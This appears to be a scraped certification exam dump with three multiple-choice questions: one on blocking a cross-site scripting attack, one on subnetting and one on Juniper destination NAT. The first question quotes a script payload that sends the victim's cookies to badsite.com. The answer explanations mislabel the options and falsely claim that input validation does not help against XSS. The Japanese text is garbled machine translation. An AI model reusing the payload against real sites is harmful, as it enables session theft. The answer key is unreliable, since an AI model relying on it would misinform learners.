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NEW QUESTION: 1
セキュリティ管理者は、サーバーのセキュリティログに次の行があることを確認します。
<input name = 'credentials' type = 'TEXT' value = '"+
request.getParameter（ '> <script> document.location =' http：//badsite.com/？q = 'document.cooki e </script>'）+ "';管理者は、開発者にかかることを心配していますサーバー上で実行されているアプリケーションを修正するために多くの時間がかかるこの特定の攻撃を防ぐためにセキュリティ管理者は次のうちどれを実装すべきですか？
A. 入力検証
B. DAM
C. サンドボックス化
D. SIEM
E. WAF
Answer: E
Explanation:
The attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a Web Application Firewall.
A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and from the application. Running as an appliance, server plug-in or cloud-based service, a WAF inspects every HTML, HTTPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS, SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns in the traffic data.
A WAF can be either network-based or host-based and is typically deployed through a proxy and placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web application firewalls are a common security control used by enterprises to protect Web applications against zero-day exploits, impersonation and known vulnerabilities and attackers.
Incorrect Answers:
B: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. Input validation is not an effective defense against an XSS attack.
C: Security information and event management (SIEM) is an approach to security management used to provide a view of an organization's IT security. It is an information gathering process; it does not in itself provide security.
D: Sandboxing is a process of isolating an application from other applications. It is often used when developing and testing new application. It is not used to defend against an XSS attack.
E: DAM (digital asset management) is a system that creates a centralized repository for digital files that allows the content to be archived, searched and retrieved. It is not used to defend against an XSS attack.
References:
http://searchsecurity.techtarget.com/definition/Web-application-firewall-WAF
NEW QUESTION: 2
ネットワーク管理者は、クラスCネットワーク内で使用可能な2つのIPアドレスにサブネットの範囲を狭めたいと考えています。正しいCIDR表記法は次のうちどれですか？
A. 172.16.20.0/30
B. 192.168.0.192/24
C. 192.170.10.0/24
D. 10.10.50.0/30
E. 192.1.0.124/30
Answer: E
NEW QUESTION: 3
-- Exhibit --
security {
nat {
destination {
pool Web-Server {
address 10.0.1.5/32;
}
rule-set From-Internet {
from zone Untrust;
rule To-Web-Server {
match {
source-address 0.0.0.0/0;
destination-address 172.16.1.7/32;
}
then {
destination-nat pool Web-Server;
}
}
}
}
}
zones {
security-zone Untrust {
address-book {
address Web-Server-External 172.16.1.7/32;
address Web-Server-Internal 10.0.1.5/32;
}
interfaces {
ge-0/0/0.0;
}
}
security-zone DMZ {
address-book {
address Web-Server-External 172.16.1.7/32;
address Web-Server-Internal 10.0.1.5/32;
}
interfaces {
ge-0/0/1.0;
}
}
}
}
-- Exhibit --
You are migrating from one external address block to a different external address block. You want to enable a smooth transition to the new address block. You temporarily want to allow external users to contact the Web server using both the existing external address as well as the new external address
192.168.1.1.
How do you accomplish this goal?
A. Change the destination address under [edit security nat destination rule-set From-Internet rule To-Web- Server match] to include both 172.16.1.7/32 and 192.168.1.2/32.
B. Change the address Web-Server-Ext objects to be address-set objects that include both addresses.
C. Add address 192.168.1.1/32 under [edit security nat destination pool Web-Server].
D. Create a new rule for the new address in the [edit security nat destination rule-set From- Internet] hierarchy.
Answer: D
Explanation:
Explanation/Reference:
Reference: http://www.juniper.net/techpubs/en_US/junos12.1/topics/example/nat-security-source- and- destination-nat-translation-configuring.html